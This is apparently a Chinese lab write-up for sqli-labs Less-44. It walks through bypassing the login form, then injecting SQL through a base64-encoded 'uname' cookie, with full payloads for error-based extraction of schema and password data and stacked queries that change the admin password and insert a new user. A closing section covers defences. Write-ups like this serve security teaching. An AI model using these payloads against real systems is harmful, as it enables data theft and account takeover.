资讯动态

sqli-labs Less-44实战:从Cookie报错注入到堆叠注入

发布时间:2026/10/17 3:00:51 来源:尧图企业网站定制
我第一次做sqli-labs-Less-44时先在登录框里折腾了十几分钟以为这只是Less-42的换皮关卡。直到某次登录成功后顺手改了返回包里的Cookie页面直接吐出一行SQL语法错误我才意识到这道题真正考的是把POST型堆叠注入和基于Cookie的错误型注入藏在一个会话机制里。如果你刷靶场刷到这一关卡住了或者从来没想过“Cookie本身也能变成注入通道”这篇笔记应该能帮你少踩一些坑。文章里的所有payload我都基于本地靶机实测过环境是sqli-labs自带的MySQL如果你用的版本或库结构有差异报错信息里的库名、表名可能会有出入但思路是通用的。1. 先弄清楚Less-44到底在考什么1.1 和Less-42的孪生关系sqli-labs从Less-38开始就进入了堆叠注入专区前面几关分别是GET型堆叠、盲注型堆叠到了Less-42和Less-44这两关都是POST型登录表单里的堆叠注入。很多人在做Less-44时习惯性先看登录框在用户名、密码里试一遍Less-42的payload发现也能绕过登录就以为这道题结束了。其实Less-44和Less-42最大的区别藏在登录成功之后的逻辑里。Less-42登录成功后直接展示结果没有额外的跳转和Cookie处理Less-44登录成功后服务端会把用户名做一次base64编码写进一个名为uname的Cookie然后页面再靠这个Cookie继续查库、回显用户名。注入点于是从“表单参数”悄悄挪到了“Cookie值”上而核心过滤规则大多只清洗了POST参数根本没管Cookie。所以做题的正确顺序不是先测表单注入而是先测表单能否被绕过、拿到一个合法的会话Cookie再回过头修改Cookie里的值触发注入。这个弯如果没绕过来你会觉得这一关怎么试都只有“Login failed”完全找不到入口。1.2 为什么注入点会在Cookie里为了把这件事讲清楚我简化成下面这段伪代码逻辑和靶场源码基本一致// 登录成功后 $username $_POST[login_user]; setcookie(uname, base64_encode($username), time() 3600); // 跳转后的页面 $cookie $_COOKIE[uname]; $username base64_decode($cookie); $sql SELECT * FROM users WHERE username$username; $result mysqli_multi_query($con, $sql);注意两个关键点第一页面拿到Cookie后直接拼SQL没有任何参数化处理第二查询用的是multi_query而不是普通query这为后面的堆叠注入留下了空间。你能控制的不仅仅是表单还包括CookieCookie经base64解码后原封不动进了SQL语句报错信息又直接回显到页面上。我当时的判断方法很简单用Burp抓登录成功后的响应包只要看到Set-Cookie里有uname并且值像一串base64基本就能断定这一关的主要攻击面在Cookie。接下来要做的第一件事不是急着注入而是把登录绕过去。2. 第一步绕过登录先把会话拿到手2.1 登录框的注入判断Less-44登录框的SQL语句从逻辑上看是SELECT * FROM users WHERE username$username AND password$password常见的判断方法是先随便填一组用户名密码看页面有没有报错。如果页面返回“Login failed”说明登录校验失败SQL本身可能已经执行了。我习惯用下面这些payload逐次测试用户名密码预期结果admin or 11随便登录成功admin or 11#随便登录成功admin--随便登录成功注意MySQL注释需要空格admin or 11-- -随便登录成功在Less-44里最稳的是admin or 11#原因是最后的SQL会变成SELECT * FROM users WHERE usernameadmin or 11# AND password...#把后面的部分全部注释掉条件恒真于是拿到登录态。如果你在测试中发现#被过滤或转义可以试试URL编码后的%23或者用--配合后面的空格。Less-44的登录框本身也存在注入但后面真正的重头戏不在表单所以这里能绕过即可不必追求用报错注入一步到位。2.2 登录成功后的Cookie形态绕过登录之后不要急着关掉Burp或浏览器先看一下响应包里的Set-Cookie字段。以我的环境为例登录成功后响应头里会出现类似这样的内容HTTP/1.1 200 OK Set-Cookie: unameYWRtaW4%3D; path/YWRtaW4%3D就是admin的base64编码解码后是admin。这一步的意义在于靶场把用户名base64编码后写进Cookie然后在下一页读取Cookie做查询。也就是说你修改Cookie里的uname值实际上就是修改了下一页要执行的SQL语句中的可控字符串。两种修改Cookie的方式都行在Burp里抓到请求直接替换Cookie头再重放在浏览器开发者工具的Application面板里找到uname改完再刷新页面。我建议第一次学的时候用Burp重放这样能同时观察响应头、请求头和页面回显的变化排查问题也更方便。无论用哪种方式Cookie值都要遵守“先base64再URL编码特殊字符”的规则因为部署在HTTP头里的base64字符串如果含、/、很可能被解析异常。3. 从Cookie进去报错注入把数据拖出来3.1 修改Cookie前的编码流程Less-44最大的坑就在这一步你直接在Cookie里写明文SQL一点反应都没有。原因是服务端先对Cookie值做base64解码再拼进SQL所以必须先把整段payload做base64编码。编码之后还要处理URL保留字符。我一般用下面的命令快速转换echo -n admin and updatexml(1,concat(0x7e,database(),0x7e),1)# | base64如果是在Windows环境也可以用Pythonimport base64 payload admin and updatexml(1,concat(0x7e,database(),0x7e),1)# print(base64.b64encode(payload.encode()).decode())转换之后把得到的base64字符串替换掉uname的值。注意base64结果里的在Cookie头里最好URL编码成%3D编码成%2B/编码成%2F否则客户端或服务端解析时可能截断。这是整个关卡最容易翻车的地方我见过不止一次有人在这卡了半小时原因只是Cookie里有个裸。3.2 用updatexml验证注入点这段payload是报错注入里最好用的一组admin and updatexml(1,concat(0x7e,database(),0x7e),1)#对整段做base64编码后替换Cookie再刷新页面页面报错区域会出现类似下面的内容XPATH syntax error: ~security~~security~就是当前数据库名~符号是我故意加上的边界标记。updatexml报错时只显示约32个字符用~包裹结果字符串能防止结果为空时看不出输出了什么东西。同理也可以用extractvalue函数admin and extractvalue(1,concat(0x7e,database(),0x7e))#两种函数都可以我实际测试中updatexml更稳定。如果当前数据库用户权限不够报错里会出现“Permission denied”之类的提示这时候需要先查当前用户再决定用哪种方式读取数据。3.3 查库名、表名、列名和数据拿到数据库名之后后面的步骤就是标准的information_schema信息收集。下面是常用payload实际使用时统一先base64再URL编码目的明文payload当前数据库admin and updatexml(1,concat(0x7e,database(),0x7e),1)#所有数据库admin and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)#当前库所有表admin and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1)#users表所有列admin and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers),0x7e),1)#第一条数据admin and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)#用group_concat拉取表名和列名时如果内容太多会超过updatexml的32字符显示限制报错信息会被截断。我遇到这种情况时一般改用limit逐条读取或者配合substr分段。比如要精确取users表里admin用户的密码先用length确认长度admin and updatexml(1,concat(0x7e,(select length(password) from users where usernameadmin),0x7e),1)#看到长度之后分段截取admin and updatexml(1,concat(0x7e,substr((select password from users where usernameadmin),1,15),0x7e),1)# admin and updatexml(1,concat(0x7e,substr((select password from users where usernameadmin),16,30),0x7e),1)#这样每一段都在32字符限制内结果清晰可读。分段的边界建议多留几个字符重叠防止刚好在边界处丢失拼接内容。4. 堆叠注入的真正威力不只读还能改4.1 为什么这一关能做到堆叠注入Less-44的查询语句走的是multi_query这一下就把堆叠注入变成了现实。很多初学者分不清“联合注入”和“堆叠注入”的区别我做个对比类型原理能力联合注入通过union关键字把两条select结果合并只能查受前后字段数量限制堆叠注入通过分号结束当前语句直接执行下一条SQL可以增删改查几乎不受字段数量限制堆叠注入能成立的前提是后端不仅执行第一条SQL还会继续执行分号后面的语句。在真实环境里并不是所有数据库连接都支持多语句执行所以防护方只要用预编译加单语句执行堆叠注入基本就废了。但在Less-44这个环境里multi_query的存在让update、insert、delete甚至drop都能直接执行。4.2 实例演示修改admin密码这一节的目标很直接把admin的密码改成666然后重新登录。明文payloadadmin; update users set password666 where usernameadmin;#先base64整段编码再替换Cookie里的uname刷新页面。服务端执行第一条select时没有报错紧接着第二条update就悄悄改了users表。回到登录页用户名填admin密码填666就能登录成功说明修改生效。这里有几个细节要留意第一payload里的单引号属于SQL语句本身base64编码时不用特殊处理编码后和其他内容一起进入Cookie第二注释符#放在最后用来终结被注释掉的多余内容第三如果update执行后页面还是显示原来的内容多半是Cookie里的URL编码出了问题分号被吃掉了。4.3 实例演示插入一个全新用户改密码只是开胃菜堆叠注入真正危险的地方在于可以写数据。我实测的插入payloadadmin; insert into users(id,username,password) values (15,tester,888);#替换Cookie后刷新页面再用tester/888尝试登录如果登录成功说明users表里已经多了一个新账户。这个思路放到真实场景中就是攻击者给自己种后门账号所以安全评估中一旦确认堆叠注入危害评级基本都是最高的。如果遇到插不进去的情况优先检查users表的id是否自增、是否有唯一键约束。靶场默认的表结构比较简单手动指定id即可。4.4 真实场景里的危害链谈到危害很多人觉得“能查库就是注入成功”其实堆叠注入带来的是一整套权限放大路径。在真实业务系统里即使当前数据库账号只有select权限一旦应用层的账号是超级权限堆叠注入配合high-privilege就能做到很多事重置任意用户密码、写入代理登录票据、修改业务表里的余额或状态、批量删除数据。而且在Cookie这种隐蔽位置触发时常规WAF如果只看表单参数会直接漏掉这个攻击面。我做安全评估时碰到过一个案例某后台的登录态保存在base64编码的Cookie里服务端解码后直接拼SQL做用户信息展示表单和URL都做了过滤偏偏漏了Cookie字段。测试人员用类似Less-44的改Cookie手法一次就拿到了管理员的密码哈希。所以Less-44不仅是做题它其实在提醒所有做防护的人客户端能控制的每一条输入都要当成恶意输入来处理。5. 实战踩坑清单与防御复盘5.1 五个高频坑我全踩过第一坑修改Cookie后页面纹丝不动。原因几乎都是没有对payload做base64编码或者做了编码但没有做URL编码处理。记住顺序是“明文payload - base64 - 特殊字符URL编码 - 替换Cookie值”。第二坑报错信息总是被截断。updatexml和extractvalue都有约32字符的显示限制拖长数据时要么用substr分段要么用limit逐条取不要试图一次拉完。第三坑登录始终失败。如果#被转义或过滤换成%23或者用--加空格MySQL的--后面必须跟空格或控制字符才能当注释符也可以尝试--。第四坑堆叠语句执行了但没有效果。检查分号是不是在URL编码阶段被替换成%3B后又被服务端解析异常或者确认后端是不是真的用了multi_query。简单办法是先用一个最简单的时间盲注或update测试确认多语句通道真的通。第五坑请求正常但页面500。多数是Cookie中的、/、没有做URL编码HTTP头解析时把值切断了。用浏览器开发者工具编辑Cookie时也要注意最终发送的值是否完整。我把这五个坑整理成一张排查表方便你对照现象原因解法修改Cookie无反应没做base64编码先base64再URL编码报错内容不全32字符截断substr分片或limit逐条登录一直失败注释符失效换%23或--堆叠语句不生效分号被编码/后端非multi_query检查编码验证连接模式页面500Cookie特殊字符未编码 / 都要URL编码5.2 从Less-44反推服务端到底该怎么防最核心的一条任何SQL语句都必须用参数化查询也就是prepared statement用户输入不管来自表单、URL还是Cookie一律只能作为参数绑定绝对不能拼接进SQL字符串。Less-44的教训在于开发人员可能对POST参数做了过滤却忽略了对Cookie内容的清洗这种认知盲区在真实系统里非常普遍。其次是数据库账号的权限控制。应用连接数据库的账号如果只是为了展示数据就不该有update、insert、delete权限。即便攻击者通过注入拿到了库名表名也只能读不能写危害会小很多。还有一点容易被忽视像Cookie里存储用户名这类字段尽量避免存储可解码的敏感信息。如果非要存也应该做签名或使用SessionID由服务端维护状态而不是把用户可控制的明文写进客户端再在服务端让它参与数据库查询。最后是安全测试的视角。做Web漏洞扫描时不要只盯着URL参数和表单字段Cookie、请求头、JSON体、multipart字段都要纳入测试范围。Less-44整个关卡的设计思路就说明了这一点真正危险的入口有时候藏在派对门口的一副墨镜后面表面看起来人畜无害。隔了段时间再回头看Less-44我的感受是它不算一道多复杂的题但把“客户端可控数据”和“服务端不信任输入”这两件事讲得明明白白。以后再见到任何base64解码后直接参与业务逻辑的字段我都会先条件反射地想一想——这个值如果被改掉后端会怎么做毕竟Cookie也好、请求头也好本质上都是不可信输入只不过有时候它们穿了一层看起来挺正常的base64外套而已。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑